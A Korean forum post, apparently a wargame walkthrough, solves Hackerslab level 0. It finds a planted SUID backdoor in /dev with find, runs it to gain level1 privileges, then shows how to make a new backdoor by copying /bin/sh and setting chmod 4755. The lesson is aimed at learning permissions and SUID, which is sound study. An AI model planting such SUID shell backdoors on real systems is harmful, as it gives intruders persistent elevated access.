|
http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=640 [복사]
누군가 우리 시스템에 침입하여 백도어를 설치하여 두었다.
당신의 임무는 그 백도어를 악용하여 다음 레벨로 진입하는 것이다.
Hint - 디바이스도 아닌 것이 디바이스 드라이버 무리속에...
-----------------------------------------------------
우선 문제를 해석해봅시다..
백도어란.. 일반사용자가 루뜨권한을 획득하고 추후에 다시 들어왔을때
루뜨권한을 손쉽게 얻기위해 만들어 놓는 것입니다
즉 여기서는 처음 접속하면 level0 이니깐 누군가 level1 권한을 획득한후
level0 이 손쉽게 level1의 권한을 획득할수있도록 백도어를 설치해놓았다는
것이 되겠죠..
힌트가 디바이스가 아닌 것이 디바이스 무리속에..네요
윈도우 보면 c:\안에 windows , my docu~ , programfile 등 여러가지폴더를
보실수 있으실 것입니다 그런데..
윈도우98에서는 디스켓넣는부분을 a:\로 씨디롬은 d:\로 구별하는반면
리눅스는 드라이브역시 파일로 인식합니다.
즈 마우스나 씨디롬 하드등을요.. 하드웨어는 리눅스에서는 /dev라는
디렉토리에 집합을 합니다. 리눅스의 디렉토리 구조에 대해서 한번 찾아보세요
여기서 백도어는 SetUID 즉 Suid로 실행 순간 운영자의 권한을 얻는것을 말합니다
핵랩에서는 자기보다 높은 권한이 되겠죠?
즉 문제를 해석해보면 /dev 디렉토리에 suid로된 백도어가 되었다는 말이되겠죠?
자 문제를 풀어볼까요?
텔넷연결 drill.hackerslab.org
login : level0
passwd : guest [한 3초쉬고 엔터]
[level0@drill level0]$ cd tmp [내 디렉토리에서 tmp 디렉토리로 들어가자]
[level0@drill tmp]$ find / -user level1 -group level0 -perm -4000 >list
여기서 위명령어는 / 전디렉토리에서 소유자가 level1 이고 그룹이 level0인
suid가 걸린 파일을 찾아서 list 라는 곳에 저장하여라는 말이예요
[level0@drill tmp]$ cat list [list를 확인해 볼까요?]
/dev/.hi
[level0@drill tmp]$ ls -al /dev/.hi [발견한 파일의 정보를 봅시다]
-rwsr-x--- 1 level1 level0 12900 Jan 28 2000 /dev/.hi
[level0@drill tmp]$
[level0@drill tmp]$ whoami [나는 누구인가?]
level0
[level0@drill tmp]$ /dev/.hi [백도어를 실행시켜 볼까요..]
[level0@drill tmp]$ whoami
level1
[level0@drill tmp]$ pass [이걸 치면 레벨1로가는 답이 나오겠죠?]
자 이번에는 우리가 직접 백도어를 만들어 봅시다
[level0@drill tmp]$ whoami ; pwd [내가 누구인가? 그리고 지금 어디에있지?]
level1
/home/level0/tmp
[level0@drill tmp]$ cp /bin/sh /home/level0/tmp/cs [cp A B => A를 B로 복사하라]
[level0@drill tmp]$ chmod 4755 cs [4755는 퍼미션을 준것으로 퍼미션참조바람]
[level0@drill tmp]$ ls -al cs [앗! rws.. suid..레벨0이 이걸 실행하면 레벨1이되겠군]
-rwsr-xr-x 1 level1 level0 373304 Aug 8 16:44 cs*
[level0@drill tmp]$ exit
exit
[level0@drill tmp]$ whoami
level0
[level0@drill tmp]$ ./cs [실행시켜볼까?]
[level0@drill tmp]$ whoami
level1
[level0@drill tmp]$
이게 끝입니다. 너무 시시하죠?
저 위에 명령어들에 대해 갈쳐달라고만 하지마시고
직접 찾아보시는 모습을 기대하겠습니다
그리고 ★퍼미션,suid,find 이해가 주된목적인 강좌입니다
해커스쿨에서 리눅스를 배우는 우리들에게
좋은자료가 될거라고본다.
출저 cafe daum /nukings |
Hit : 11234 Date : 2007/02/22 08:07
|
1588, 
1/80 
